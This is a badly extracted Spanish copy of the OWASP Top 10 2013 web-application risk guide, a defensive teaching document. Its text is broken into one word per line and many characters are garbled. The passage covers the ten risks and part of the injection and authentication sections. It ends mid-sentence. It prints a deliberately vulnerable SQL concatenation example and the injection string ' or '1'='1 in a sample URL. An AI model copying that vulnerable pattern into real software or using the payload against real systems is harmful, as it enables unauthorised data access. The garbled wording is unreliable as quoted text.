Documentos de Académico
Documentos de Profesional
Documentos de Cultura
OWASP Top 10 - 2013 Final - Español
OWASP Top 10 - 2013 Final - Español
Cargado por
Erika VillamizarDerechos de autor
Formatos disponibles
Compartir este documento
Compartir o incrustar documentos
¿Le pareció útil este documento?
¿Este contenido es inapropiado?
Denunciar este documentoCopyright:
Formatos disponibles
OWASP Top 10 - 2013 Final - Español
OWASP Top 10 - 2013 Final - Español
Cargado por
Erika VillamizarCopyright:
Formatos disponibles
O
Acerca de OWASP
Prefacio
Acerca de OWASP
El
soNware
inseguro
est
debilitando
las
nanzas,
salud,
defensa,
energa,
y
otras
infraestructuras
cr=cas.
A
medida
que
la
infraestructura
digital
se
hace
cada
vez
ms
compleja
e
interconectada,
la
dicultad
de
lograr
la
seguridad
en
aplicaciones
aumenta
exponencialmente.
No
se
puede
dar
el
lujo
de
tolerar
problemas
de
seguridad
rela=vamente
sencillos,
como
los
que
se
presentan
en
este
OWASP
Top
10.
El
obje=vo
del
proyecto
Top
10
es
crear
conciencia
acerca
de
la
seguridad
en
aplicaciones
mediante
la
iden=cacin
de
algunos
de
los
riesgos
ms
cr=cos
que
enfrentan
las
organizaciones.
El
proyecto
Top
10
es
referenciado
por
muchos
estndares,
libros,
herramientas,
y
organizaciones,
incluyendo
MITRE,
PCI
DSS,
DISA,
FCT,
y
muchos
ms
.
Esta
versin
de
OWASP
Top
10
marca
el
aniversario
nmero
diez
de
este
proyecto,
de
concien=zacin
sobre
la
importancia
de
los
riesgos
de
seguridad
en
aplicaciones.
OWASP
Top
10
fue
lanzado
por
primera
vez
en
2003,
con
actualizaciones
menores
en
2004
y
2007.
La
versin
2010
fue
renovada
para
dar
prioridad
al
riesgo,
no
slo
a
la
prevalencia.
La
edicin
2013
sigue
el
mismo
enfoque.
Lo
invitamos
a
que
u=lice
el
Top
10
para
hacer
que
su
organizacin
se
inicie
en
la
tem=ca
sobre
seguridad
en
aplicaciones.
Los
desarrolladores
pueden
aprender
de
los
errores
de
otras
organizaciones.
Los
ejecu=vos
deben
comenzar
a
pensar
como
ges=onar
el
riesgo
que
las
aplicaciones
de
soNware
crean
en
sus
empresas.
A
largo
plazo,
le
recomendamos
que
cree
un
programa
de
seguridad
en
aplicaciones
que
sea
compa=ble
con
su
cultura
y
su
tecnologa.
Estos
programas
vienen
en
todas
las
formas
y
tamaos,
y
debe
evitar
tratar
de
hacer
todo
lo
prescrito
por
algn
modelo
de
procesos.
En
cambio,
debe
de
aprovechar
las
fortalezas
existentes
en
su
organizacin
para
hacer
y
medir
lo
que
le
funcione
a
usted.
Esperamos
que
OWASP
Top
10
sea
=l
para
sus
esfuerzos
de
seguridad
en
aplicaciones.
Por
favor
no
dude
en
ponerse
en
contacto
con
OWASP
para
sus
dudas,
comentarios,
e
ideas,
ya
sea
pblicamente
a
owasp-topten@lists.owasp.org
o
en
privado
a
dave.wichers@owasp.org.
El
proyecto
abierto
de
seguridad
en
aplicaciones
Web
(OWASP
por
sus
siglas
en
ingls)
es
una
comunidad
abierta
dedicada
a
facultar
a
las
organizaciones
a
desarrollar,
adquirir
y
mantener
aplicaciones
que
pueden
ser
conables.
En
OWASP
encontrar
gratuitas
y
abiertas
Herramientas
y
estndares
de
seguridad
en
aplicaciones
Libros
completos
de
revisiones
de
seguridad
en
aplicaciones,
desarrollo
de
cdigo
fuente
seguro,
y
revisiones
de
seguridad
en
cdigo
fuente
Controles
de
seguridad
estndar
y
libreras
Captulos
locales
en
todo
el
mundo
Inves=gaciones
de
vanguardia
Extensas
conferencias
alrededor
del
mundo
Listas
de
correo
Aprenda
ms
en:
hGps://www.owasp.org
Todas
las
herramientas
de
OWASP,
documentos,
foros,
y
captulos
son
gratuitas
y
abiertas
a
cualquiera
interesado
en
mejorar
la
seguridad
en
aplicaciones.
Abogamos
por
resolver
la
seguridad
en
aplicaciones
como
un
problema
de
personas,
procesos
y
tecnologa,
ya
que
los
enfoques
ms
efec=vos
para
la
seguridad
en
aplicaciones
requieren
mejoras
en
todas
estas
reas.
OWASP
es
un
nuevo
=po
de
organizacin.
Nuestra
libertad
de
presiones
comerciales
nos
permite
proveer
informacin
sobre
seguridad
en
aplicaciones
sin
sesgos,
prc=ca
y
efec=va.
OWASP
no
est
aliada
con
ninguna
compaa
de
tecnologa,
aunque
apoyamos
el
uso
instruido
de
tecnologas
de
seguridad
comercial.
Al
igual
que
muchos
otros
proyectos
de
soNware
de
cdigo
abierto,
OWASP
produce
muchos
=pos
de
materiales
en
una
manera
abierta
y
colabora=va.
La
fundacin
OWASP
es
una
en=dad
sin
nimo
de
lucro
para
asegurar
el
xito
a
largo
plazo
del
proyecto.
Casi
todos
los
asociados
con
OWASP
son
voluntarios,
incluyendo
la
junta
direc=va
de
OWASP,
comits
globales,
lderes
de
captulos,
los
lderes
y
miembros
de
proyectos.
Apoyamos
la
inves=gacin
innovadora
sobre
seguridad
a
travs
de
becas
e
infraestructura.
nase
a
nosotros!
Derechos de Autor y Licencia
Copyright 2003 2013 The OWASP Founda=on
Este
documento
se
distribuye
bajo
la
licencia
3.0
de
Crea=ve
Commons
AGribu=on
ShareAlike.
Para
cualquier
reu=lizacin
o
distribucin,
debe
dejar
claro
los
trminos
de
la
licencia
de
esta
obra.
Introduccin
Bienvenidos
Bienvenidos
al
OWASP
Top
10
2013!
Esta
actualizacin
profundiza
sobre
una
de
las
categoras
de
la
versin
2010,
a
n
de
ser
ms
inclusivo,
sobre
importantes
vulnerabilidades
comunes,
y
reordena
algunos
de
los
dems
basndose
en
el
cambio
de
los
datos
de
prevalencia.
Tambin
presenta
un
componente
de
seguridad
como
centro
de
atencin,
mediante
la
creacin
de
una
categora
especca
para
este
riesgo,
sacndolo
de
la
oscuridad
de
la
letra
pequea
del
Top
Ten
2010;
A6:
La
conguracin
de
seguridad
incorrecta.
El
OWASP
Top
10
2013,
se
basa
en
8
conjuntos
de
datos
de
7
rmas
especializadas
en
seguridad
de
aplicaciones,
incluyendo
4
empresas
consultoras
y
3
proveedores
de
herramientas
/SaaS
(1
est=co,
dinmico
1,
y
1
con
ambos).
Estos
datos
abarcan
ms
de
500.000
vulnerabilidades
a
travs
de
cientos
de
organizaciones
y
miles
de
aplicaciones.
Las
vulnerabilidades
del
Top
10
son
seleccionadas
y
priorizadas
de
acuerdo
a
estos
datos
de
prevalencia,
en
combinacin
con
es=maciones
consensuadas
de
explotabilidad,
detectabilidad
e
impacto.
El
obje=vo
principal
del
Top
10
es
educar
a
los
desarrolladores,
diseadores,
arquitectos,
gerentes,
y
organizaciones
;
sobre
las
consecuencias
de
las
vulnerabilidades
de
seguridad
ms
importantes
en
aplicaciones
web.
El
Top
10
provee
tcnicas
bsicas
sobre
como
protegerse
en
estas
reas
de
alto
riesgo
y
tambin
provee
orientacin
sobre
los
pasos
a
seguir.
Advertencias
Agradecimientos
No
se
detenga
en
el
Top
10.
Existen
cientos
de
problemas
que
pueden
afectar
la
seguridad
en
general
de
una
aplicacin
web
,
tal
como
se
ha
discu=do
en
la
Gua
de
Desarrollo
OWASP
y
OWASP
Cheat
Sheet.
Este
documento
es
de
lectura
esencial
para
cualquiera
que
desarrolle
aplicaciones
web
hoy
en
da.
Una
efec=va
orientacin
en
como
encontrar
vulnerabilidades
en
aplicaciones
web
es
suministrada
en
las
Gua
de
Pruebas
OWASP
y
la
Gua
de
Revisin
de
Cdigo
OWASP.
Cambio
constante.
Este
Top
10
con=nuar
cambiando.
Incluso
sin
cambiar
una
sola
lnea
de
cdigo
en
la
aplicacin,
es
posible
llegar
a
ser
vulnerable,
ya
que
al
descubrirse
nuevos
defectos,
los
ataques
son
renados.
Por
favor,
revise
los
consejos
al
nal
del
Top
10
Prximos
pasos
para
Desarrolladores,
Vericadores
y
Organizaciones
para
mayor
informacin.
Piense
posiCvamente.
Cuando
se
encuentre
preparado
para
dejar
de
buscar
vulnerabilidades
y
focalizarse
en
establecer
controles
seguros
de
aplicaciones,
OWASP
ha
producido
el
Applica=on
Security
Verica=on
Standard
(ASVS)
como
una
gua
para
organizaciones
y
revisores
de
aplicaciones
que
detalla
los
controles
de
seguridad
a
vericar
en
una
aplicacin.
UClice
herramientas
inteligentemente.
Las
vulnerabilidades
de
seguridad
pueden
ser
bastante
complejas
y
encontrarse
ocultas
en
montaas
de
cdigo.
En
muchos
casos,
el
enfoque
mas
eciente
y
econmico
para
encontrar
y
eliminar
dichas
vulnerabilidades
es
la
combinacin
de
expertos
armados
con
buenas
herramientas
para
realizar
esta
tarea.
Push
leF.
Enfocarse
en
hacer
que
la
seguridad
sea
parte
de
la
cultura
organizacional
a
travs
de
todo
el
ciclo
de
desarrollo.
Puede
encontrar
ms
informacin
en
Open
SoNware
Assurance
Maturity
Model
(SAMM)
y
Rugged
Handbook.
Gracias a Aspect Security por iniciar, liderar, y actualizar el OWASP
Top 10, desde sus inicios en 2003, y a sus autores primarios: Je
Williams y Dave Wichers.
Nos gustara agradecer a las siguientes organizaciones que
contribuyeron con datos predominantes de vulnerabilidades para
actualizar el Top Ten.
Aspect Security Sta=s=cs
HP Sta=s=cs tanto de For=fy como de WebInspect
Minded Security Sta=s=cs
SoNtek Sta=s=cs
Trustwave, SpiderLabs Sta=s=cs (Ver pg. 50)
Veracode Sta=s=cs
WhiteHat Security Inc. Sta=s=cs
Nos gustara dar las gracias a todos los que contribuyeron con las
versiones anteriores del Top 10. Sin estas aportaciones, no sera lo
que es hoy. Tambin nos gustara dar las gracias a aquellos que han
aportado comentarios construc=vos y a los que dedicaron =empo de
revisin de esta actualizacin del Top 10:
Adam Baso (Wikimedia Founda=on)
Mike Boberski (Booz Allen Hamilton)
Torsten Gigler
Neil Smithline (MorphoTrust USA) Por producir la wiki de
esta versin del Top 10 y proporcionar informacin.
Y, por l=mo, nos gustara de antemano dar las gracias a todos los
traductores por traducir esta versin del Top 10 en varios idiomas, lo
que ayuda a hacer que el OWASP Top 10 sea accesible al planeta
entero.
RN
Notas sobre la versin
Qu ha cambiado del 2010 al 2013?
El escenario de amenazas para la seguridad en aplicaciones cambia constantemente. Los factores clave en esta evolucin son los avances
hechos por los atacantes, la liberacin de nuevas tecnologas con nuevas debilidades y defensas incorporadas, as como el despliegue de
sistemas cada vez ms complejos. Para mantener el ritmo, actualizamos peridicamente el OWASP Top 10. En esta versin 2013, hemos
realizado los siguientes cambios:
1)
Basados
en
nuestros
datos,
la
Prdida
de
Auten=cacin
y
Ges=n
de
Sesiones
ascendi
en
prevalencia.
Pensamos
que
probablemente
se
deba
a
que
se
estn
realizando
mayores
esfuerzos
de
deteccin,
y
no
a
un
aumento
de
prevalencia
en
s.
Por
este
mo=vo,
intercambiamos
las
posiciones
de
los
riesgos
A2
y
A3.
2)
Falsicacin
de
Pe=ciones
en
Si=os
Cruzados
(CSRF)
disminuy
en
prevalencia
en
base
a
nuestros
datos,
por
lo
tanto
descendi
de
la
posicin
2010-A5
a
la
posicin
2013-A8.
Creemos
que
se
debe
a
que
ste
ha
estado
durante
6
aos
en
el
OWASP
Top
10
,
mo=vando
a
las
organizaciones
y
desarrolladores
de
frameworks
a
enfocarse
lo
suciente
para
reducir
signica=vamente
el
nmero
de
vulnerabilidades
en
las
aplicaciones
del
"mundo
real".
3)
Hemos
ampliado
Falla
de
Restriccin
de
Acceso
a
URL
desde
el
OWASP
Top
10
2010
para
brindarle
un
signicado
ms
amplio:
+ 2010-A8:
Falla
de
Restriccin
de
Acceso
a
URL
ahora
es
2013-A7:
Ausencia
de
Control
de
Acceso
a
las
Funciones
-
para
cubrir
todos
los
controles
de
acceso
a
nivel
de
funcin.
Existen
muchas
maneras
de
especicar
a
qu
funcin
se
accede,
no
slo
la
URL.
4)
Hemos
fusionado
y
ampliado
2010-A7
y
A9-2010
para
crear:
2013-A6:
Exposicin
de
Datos
Sensibles:
+ Esta
nueva
categora
fue
creada
por
la
fusin
de
2010-A7
-
Almacenamiento
Criptogrco
Inseguro
y
2010-A9
-
Proteccin
Insuciente
en
la
Capa
de
Transporte,
adems
de
aadir
riesgos
de
exposicin
de
datos
sensibles
en
el
navegador.
Esta
nueva
categora
abarca
la
proteccin
de
datos
sensibles
(dis=nta
al
control
de
acceso,
que
est
cubierta
por
2013-A4
y
2013-A4)
desde
que
es
provisto
por
el
usuario,
transmi=do,
almacenado
por
la
aplicacin
y
enviado
al
navegador
nuevamente.
5)
Hemos aadido 2013-A9: Uso de Componentes con Vulnerabilidades Conocidas:
+ Este tema fue mencionado como parte de 2010-A6 - Defectuosa conguracin de seguridad, pero ahora posee una categora propia
debido al crecimiento del desarrollo basado en componentes. Esto ha incrementado de manera signica=va el riesgo de la u=lizacin
de componentes con vulnerables conocidas.
OWASP Top 10 2010 (Previo)
OWASP Top 10 2013 (Nuevo)
A1 Inyeccin
A1 Inyeccin
A3 Prdida de AutenCcacin y GesCn de Sesiones
A2 Prdida de AutenCcacin y GesCn de Sesiones
A2 Secuencia de Comandos en SiCos Cruzados (XSS)
A3 Secuencia de Comandos en SiCos Cruzados (XSS)
A4 Referencia Directa Insegura a Objetos
A4 Referencia Directa Insegura a Objetos
A6 Defectuosa Conguracin de Seguridad
A5 Conguracin de Seguridad Incorrecta
A7 Almacenamiento Criptogrco Inseguro Fusionada A9
A6 Exposicin de Datos Sensibles
A8 Falla de Restriccin de Acceso a URL Ampliada en
A7 Ausencia de Control de Acceso a las Funciones
A5 Falsicacin de PeCciones en SiCos Cruzados (CSRF)
A8 Falsicacin de PeCciones en SiCos Cruzados (CSRF)
<dentro de A6: Defectuosa Conguracin de Seguridad>
A9 Uso de Componentes con Vulnerabilidades Conocidas
A10 Redirecciones y reenvos no validados
A10 Redirecciones y reenvos no validados
A9 Proteccin Insuciente en la Capa de Transporte
Fusionada con 2010-A7 en la nueva 2013-A6
Riesgo Riesgos de Seguridad en Aplicaciones
Qu son los riesgos de seguridad en aplicaciones?
Los atacantes pueden potencialmente usar rutas diferentes a travs de la aplicacin para hacer dao a su negocio u organizacin. Cada una de
estas rutas representa un riesgo que puede, o no, ser lo sucientemente grave como para jus=car la atencin.
Agentes
de
Amenaza
Vectores
de
Ataque
Debilidades
de
Seguridad
Impactos
Tcnicos
Controles
de
Seguridad
Debilidad
Ataque
Impactos
al
Negocio
Impacto
Control
Recurso
Ataque
Debilidad
Impacto
Control
Funcin
Ataque
Debilidad
Impacto
Recurso
Debilidad
Control
A
veces,
estas
rutas
son
triviales
de
encontrar
y
explotar,
y
a
veces
son
muy
di|ciles.
Del
mismo
modo,
el
dao
que
se
causa
puede
ir
de
ninguna
consecuencia,
o
ponerlo
fuera
del
negocio.
Para
determinar
el
riesgo
en
su
organizacin,
puede
evaluar
la
probabilidad
asociada
a
cada
agente
de
amenaza,
vector
de
ataque,
y
la
debilidad
en
la
seguridad,
y
combinarla
con
una
es=macin
del
impacto
tcnico
y
de
negocios
para
su
organizacin.
En
conjunto,
estos
factores
determinan
el
riesgo
global.
Cul es Mi riesgo?
Referencias
El
OWASP
Top
10
se
enfoca
en
la
iden=cacin
de
los
riesgos
ms
serios
para
una
amplia
gama
de
organizaciones.
Para
cada
uno
de
estos
riesgos,
proporcionamos
informacin
genrica
sobre
la
probabilidad
y
el
impacto
tcnico
a
travs
del
siguiente
esquema
de
calicaciones,
que
est
basado
en
Metodologa
de
Evaluacin
de
Riesgos
OWASP.
Ar=cle on Threat/Risk Modeling
Agente
Vectores
Prevalencia
de
Detectabilidad
de
Amenaza
de
Ataque
Debilidades
de
Debilidades
Especco
de
la
aplicacion
Impacto
Tcnico
Impacto
al
Negocio
Especco
de
la
aplicacin
/negocio
Fcil
Difundido
Fcil
Severo
Promedio
Comn
Promedio
Moderado
Di|cil
Poco Comn
Di|cil
Menor
Slo
usted
sabe
los
detalles
especcos
de
su
negocio.
Para
una
aplicacin
determinada,
podra
no
exis=r
un
agente
de
amenaza
que
pueda
ejecutar
el
ataque
en
cues=n,
o
el
impacto
tcnico
podra
no
hacer
ninguna
diferencia
en
su
negocio.
Por
lo
tanto,
usted
debe
evaluar
cada
riesgo,
enfocndose
en
los
agentes
de
amenaza,
los
controles
de
seguridad
y
el
impacto
al
negocio.
Nosotros
enunciamos
los
Agentes
de
Amenaza
como
especcos
de
la
aplicacin,
y
el
impacto
al
negocio
como
especco
de
la
aplicacin/negocio,
con
el
n
de
indicar
que
estos
son
claramente
dependientes
de
los
detalles
especcos
de
las
aplicaciones
en
su
empresa.
Los
nombres
de
los
riesgos
en
el
Top
10
derivan
del
=po
de
ataque,
el
=po
de
debilidad
o
el
=po
de
impacto
que
causan.
Hemos
elegido
los
nombres
que
reejan
con
precisin
los
riesgos
y,
cuando
es
posible,
alineamos
con
la
terminologa
comn
para
aumentar
el
nivel
de
conciencia
sobre
ellos.
OWASP
OWASP
Risk
Ra=ng
Methodology
Externas
FAIR Informa=on Risk Framework
MicrosoN Threat Modeling (STRIDE and
DREAD)
T10
OWASP Top 10 de Riesgos de
Seguridad en Aplicaciones
A1- Inyeccin
Las
fallas
de
inyeccin,
tales
como
SQL,
OS,
y
LDAP,
ocurren
cuando
datos
no
conables
son
enviados
a
un
interprete
como
parte
de
un
comando
o
consulta.
Los
datos
hos=les
del
atacante
pueden
engaar
al
interprete
en
ejecutar
comandos
no
intencionados
o
acceder
datos
no
autorizados.
A2
Prdida
de
AutenCcacin
y
GesCn
de
Sesiones
Las funciones de la aplicacin relacionadas a auten=cacin y ges=n de sesiones son frecuentemente
implementadas incorrectamente, permi=endo a los atacantes comprometer contraseas, claves, token de
sesiones, o explotar otras fallas de implementacin para asumir la iden=dad de otros usuarios.
A3
Secuencia
de
Comandos
en
SiCos
Cruzados
(XSS)
Las
fallas
XSS
ocurren
cada
vez
que
una
aplicacin
toma
datos
no
conables
y
los
enva
al
navegador
web
sin
una
validacin
y
codicacin
apropiada.
XSS
permite
a
los
atacantes
ejecutar
secuencia
de
comandos
en
el
navegador
de
la
vic=ma
los
cuales
pueden
secuestrar
las
sesiones
de
usuario,
destruir
si=os
web,
o
dirigir
al
usuario
hacia
un
si=o
malicioso.
A4
Referencia
Directa
Insegura
a
Objetos
Una
referencia
directa
a
objetos
ocurre
cuando
un
desarrollador
expone
una
referencia
a
un
objeto
de
implementacin
interno,
tal
como
un
chero,
directorio,
o
base
de
datos.
Sin
un
chequeo
de
control
de
acceso
u
otra
proteccin,
los
atacantes
pueden
manipular
estas
referencias
para
acceder
datos
no
autorizados.
A5
Conguracin
de
Seguridad
Incorrecta
Una
buena
seguridad
requiere
tener
denida
e
implementada
una
conguracin
segura
para
la
aplicacin,
marcos
de
trabajo,
servidor
de
aplicacin,
servidor
web,
base
de
datos,
y
plataforma.
Todas
estas
conguraciones
deben
ser
denidas,
implementadas,
y
mantenidas
ya
que
por
lo
general
no
son
seguras
por
defecto.
Esto
incluye
mantener
todo
el
soNware
actualizado,
incluidas
las
libreras
de
cdigo
u=lizadas
por
la
aplicacin.
A6
Exposicin
de
datos
sensibles
Muchas
aplicaciones
web
no
protegen
adecuadamente
datos
sensibles
tales
como
nmeros
de
tarjetas
de
crdito
o
credenciales
de
auten=cacin.
Los
atacantes
pueden
robar
o
modicar
tales
datos
para
llevar
a
cabo
fraudes,
robos
de
iden=dad
u
otros
delitos.
Los
datos
sensibles
requieren
de
mtodos
de
proteccin
adicionales
tales
como
el
cifrado
de
datos,
as
como
tambin
de
precauciones
especiales
en
un
intercambio
de
datos
con
el
navegador.
A7
Ausencia
de
Control
de
Acceso
a
Funciones
La
mayora
de
aplicaciones
web
verican
los
derechos
de
acceso
a
nivel
de
funcin
antes
de
hacer
visible
en
la
misma
interfaz
de
usuario.
A
pesar
de
esto,
las
aplicaciones
necesitan
vericar
el
control
de
acceso
en
el
servidor
cuando
se
accede
a
cada
funcin.
Si
las
solicitudes
de
acceso
no
se
verican,
los
atacantes
podrn
realizar
pe=ciones
sin
la
autorizacin
apropiada.
A8
-
Falsicacin
de
PeCciones
en
SiCos
Cruzados
(CSRF)
Un
ataque
CSRF
obliga
al
navegador
de
una
vic=ma
auten=cada
a
enviar
una
pe=cin
HTTP
falsicado,
incluyendo
la
sesin
del
usuario
y
cualquier
otra
informacin
de
auten=cacin
incluida
autom=camente,
a
una
aplicacin
web
vulnerable.
Esto
permite
al
atacante
forzar
al
navegador
de
la
vic=ma
para
generar
pedidos
que
la
aplicacin
vulnerable
piensa
son
pe=ciones
leg=mas
provenientes
de
la
vic=ma.
A9
UClizacin
de
componentes
con
vulnerabilidades
conocidas
Algunos
componentes
tales
como
las
libreras,
los
frameworks
y
otros
mdulos
de
soNware
casi
siempre
funcionan
con
todos
los
privilegios.
Si
se
ataca
un
componente
vulnerable
esto
podra
facilitar
la
intrusin
en
el
servidor
o
una
perdida
seria
de
datos.
Las
aplicaciones
que
u=licen
componentes
con
vulnerabilidades
conocidas
debilitan
las
defensas
de
la
aplicacin
y
permiten
ampliar
el
rango
de
posibles
ataques
e
impactos.
A10
Redirecciones
y
reenvios
no
validados
Las
aplicaciones
web
frecuentemente
redirigen
y
reenvan
a
los
usuarios
hacia
otras
pginas
o
si=os
web,
y
u=lizan
datos
no
conables
para
determinar
la
pgina
de
des=no.
Sin
una
validacin
apropiada,
los
atacantes
pueden
redirigir
a
las
vc=mas
hacia
si=os
de
phishing
o
malware,
o
u=lizar
reenvos
para
acceder
pginas
no
autorizadas.
A1
Agentes
de
Amenaza
Inyeccin
Vectores
de
Ataque
Especco
de
la
Aplicacin
Explotabilidad
FCIL
Considere
a
cualquiera
que
pueda
enviar
informacin
no
conable
al
sistema,
incluyendo
usuarios
externos,
usuarios
internos
y
administradores.
El atacante enva ataques
con cadenas simples de
texto, los cuales explotan
la sintaxis del interprete a
vulnerar. Casi cualquier
fuente de datos puede ser
un vector de inyeccin,
incluyendo las fuentes
internas.
Debilidades
de
Seguridad
Prevalencia
COMN
Deteccin
PROMEDIO
Las fallas de inyeccin ocurren cuando una
aplicacin enva informacin no conable a un
interprete. Estas fallas son muy comunes,
par=cularmente en el cdigo an=guo. Se
encuentran, frecuentemente, en las consultas SQL,
LDAP, Xpath o NoSQL; los comandos de SO,
intrpretes de XML, encabezados de SMTP,
argumentos de programas, etc. Estas fallas son
fciles de descubrir al examinar el cdigo, pero
di|ciles de descubrir por medio de pruebas. Los
analizadores y fuzzers pueden ayudar a los
atacantes a encontrar fallas de inyeccin.
Impactos
Tcnicos
Impactos
al
negocio
Impacto
SEVERO
Especco
de
la
aplicacin/negocio
Una inyeccin puede
causar prdida o
corrupcin de datos,
prdida de
responsabilidad, o
negacin de acceso.
Algunas veces, una
inyeccin puede llevar a
el compromiso total de el
servidor.
Considere
el
valor
de
negocio
de
los
datos
afectados
y
la
plataforma
sobre
la
que
corre
el
intrprete.
Todos
los
datos
pueden
ser
robados,
modicados
o
eliminados.
Podra
ser
daada
su
reputacin?
Soy Vulnerable?
Cmo prevenirlo?
La mejor manera de averiguar si una aplicacin es vulnerable a una
inyeccin es vericar que en todo uso de intrpretes se separa la
informacin no conable del comando o consulta. Para llamados
SQL, esto signica usar variables parametrizadas en todas las
sentencias preparadas (prepared statements) y procedimientos
almacenados, evitando las consultas dinmicas.
Evitar una inyeccin requiere mantener los datos no conables
separados de los comandos y consultas.
Vericar el cdigo es una manera rpida y precisa para ver si la
aplicacin usa intrpretes de manera segura. Herramientas de
anlisis de cdigo pueden ayudar al analista de seguridad a ver como
se u=lizan los intrpretes y seguir el ujo de datos a travs de la
aplicacin. Los testadores pueden validar estos problemas al crear
pruebas que conrmen la vulnerabilidad.
1. La opcin preferida es usar una API segura la cual evite el uso de
interpretes por completo o provea una interface parametrizada.
Sea cuidadoso con las APIs, como los procedimiento
almacenados, que son parametrizados, pero que an pueden
introducir inyecciones en el motor del interprete.
2. Si una API parametrizada no est disponible, debe codicar
cuidadosamente los caracteres especiales, usando la sintaxis de
escape especca del intrprete. OWASP ESAPI provee muchas
de estas ru=nas de codicacin.
El anlisis dinmico automa=zado, el cual ejercita la aplicacin
puede proveer una idea de si existe alguna inyeccin explotable. Los
analizadores automa=zados no siempre pueden alcanzar a los
intrpretes y se les diculta detectar si el ataque fue exitoso. Un
manejo pobre de errores hace a las inyecciones fciles de descubrir.
3. La validacin de entradas posi=va o de "lista blanca" tambin se
recomienda, pero no es una defensa integral dado que muchas
aplicaciones requieren caracteres especiales en sus entradas. Si
se requieren caracteres especiales, solo las soluciones anteriores
1. y 2. haran su uso seguro. La ESAPI de OWASP =ene una
librera extensible de ru=nas de validacin posi=va.
Ejemplos de Escenarios de Ataques
Referencias
Escenario #1: La aplicacin usa datos no conables en la
construccin de la siguiente instruccin SQL vulnerable:
String query = "SELECT * FROM accounts WHERE
custID='" + request.getParameter("id") + "'";
Escenario #2: De manera similar, si una aplicacin con|a ciegamente
en el framework puede resultar en consultas que an son
vulnerables, (ej., Hibernate Query Language (HQL)):
Query HQLQuery = session.createQuery(FROM accounts
WHERE custID=' + request.getParameter("id") + "'");
En ambos casos, al atacante modicar el parmetro id en su
navegador para enviar: ' or '1'='1. Por ejemplo:
OWASP
OWASP SQL Injec=on Preven=on Cheat Sheet
OWASP Query Parameteriza=on Cheat Sheet
OWASP Command Injec=on Ar=cle
OWASP XML eXternal En=ty (XXE) Reference Ar=cle
ASVS: Output Encoding/Escaping Requirements (V6)
OWASP Tes=ng Guide: Chapter on SQL Injec=on Tes=ng
Externas
CWE
Entry
77
on
Command
Injec=on
hvp://example.com/app/accountView?id=' or '1'='1
CWE Entry 89 on SQL Injec=on
Esto cambia el signicado de ambas consultas regresando todos los
registros de la tabla accounts. Ataques ms peligrosos pueden
modicar datos o incluso invocar procedimientos almacenados.
CWE Entry 564 on Hibernate Injec=on
Prdida
de
AutenCcacin
y
GesCn
de
Sesiones
A2
Agentes
de
Amenaza
Vectores
de
Ataque
Especco
de
la
Aplicacin
Explotabilidad
PROMEDIO
Considere
atacantes
annimos
externos,
as
como
a
usuarios
con
sus
propias
cuentas,
que
podran
intentar
robar
cuentas
de
otros.
Considere
tambin
a
trabajadores
que
quieran
enmascarar
sus
acciones.
El
atacante
u=liza
ltraciones
o
vulnerabilidades
en
las
funciones
de
auten=cacin
o
ges=n
de
las
sesiones
(ej.
cuentas
expuestas,
contraseas,
iden=cadores
de
sesin)
para
suplantar
otros
usuarios.
Impactos
Tcnicos
Impactos
al
negocio
Impacto
SEVERO
Especco
de
la
aplicacin/negocio
Estas
vulnerabilidades
pueden
permi=r
que
algunas
o
todas
las
cuentas
sean
atacadas.
Una
vez
que
el
ataque
resulte
exitoso,
el
atacante
podra
realizar
cualquier
accin
que
la
vc=ma
pudiese.
Las
cuentas
privilegiadas
son
obje=vos
prioritarios.
Considere
el
valor
de
negocio
de
los
datos
afectados
o
las
funciones
de
la
aplicacin
expuestas.
Debilidades
de
Seguridad
Prevalencia
DIFUNDIDO
Deteccin
PROMEDIO
Los desarrolladores a menudo crean esquemas
propios de auten=cacin o ges=n de las sesiones,
pero construirlos en forma correcta es di|cil. Por
ello, a menudo estos esquemas propios con=enen
vulnerabilidades en el cierre de sesin, ges=n de
contraseas, =empo de desconexin (expiracin),
funcin de recordar contrasea, pregunta secreta,
actualizacin de cuenta, etc. Encontrar estas
vulnerabilidades puede ser di|cil ya que cada
implementacin es nica.
Tambin
considere
el
impacto
en
el
negocio
de
la
exposicin
pblica
de
la
vulnerabilidad.
Soy Vulnerable?
Cmo prevenirlo?
Estn correctamente protegidos los ac=vos de la ges=n de
sesiones como credenciales y los iden=cadores (ID) de sesin?
Puedes ser vulnerable si:
1. Las credenciales de los usuarios no estn protegidas cuando se
almacenan u=lizando un hash o cifrado. Ver el punto A6.
2. Se pueden adivinar o sobrescribir las credenciales a travs de
funciones dbiles de ges=n de la sesin (ej., creacin de
usuarios, cambio de contraseas, recuperacin de contraseas,
ID de sesin dbiles).
3. Los ID de sesin son expuestos en la URL (ej., re-escritura de
URL).
4. Los ID de sesin son vulnerables a ataques de jacin de la
sesin.
5. Los ID de sesin no expiran, o las sesiones de usuario o los tokens
de auten=cacin. En par=cular, los tokens de inicio de sesin
nico (SSO), no son invalidados durante el cierre de sesin.
6. Los ID de sesiones no son rotados luego de una auten=cacin
exitosa.
7. Las contraseas, ID de sesin y otras credenciales son trasmi=das
a travs de canales no cifrados. Ver el punto A6.
Visitar la seccin de requisitos de ASVS V2 y V3 para ms detalles.
La recomendacin principal para una organizacin es facilitar a los
desarrolladores:
Ejemplos de Escenarios de Ataques
Referencias
Escenario #1: Aplicacin de reserva de vuelos que soporta re-
escritura de URL poniendo los ID de sesin en la propia direccin:
OWASP
hvp://example.com/sale/
saleitems;jsessionid=2P0OC2JDPXM0OQSNDLPSKHCJUN2JV?
dest=Hawaii
1. Un nico conjunto de controles de autenCcacin y gesCn de
sesiones fuerte. Dichos controles debern conseguir:
a.
Cumplir con todos los requisitos de auten=cacin y ges=n
de sesiones denidos en el Applica=on Security Verica=on
Standard (ASVS) de OWASP, secciones V2 (Auten=cacin) y
V3 (Ges=n de sesiones).
b.
Tener un interfaz simple para los desarrolladores.
Considerar el uso de ESAPI Authen=cator y las APIs de
usuario como buenos ejemplos a seguir, u=lizar o sobre los
que construir.
2. Se debe realizar un gran esfuerzo en evitar vulnerabilidades de
XSS que podran ser u=lizadas para robar ID de sesin. Ver el
punto A3.
Para un mayor conjunto de requisitos y problemas a evitar en esta
rea, ver las
secciones de requisitos de ASVS para Auten=cacin (V2) y Ges=n de
Sesiones (V3).
Un usuario auten=cado en el si=o quiere mostrar la oferta a sus
amigos. Enva por correo electrnico el enlace anterior, sin ser
consciente de que est proporcionando su ID de sesin. Cuando sus
amigos u=licen el enlace u=lizarn su sesin y su tarjeta de crdito.
OWASP Authen=ca=on Cheat Sheet
Escenario #2: No se establecen correctamente los =empos de
expiracin de la sesin en la aplicacin. Un usuario u=liza un
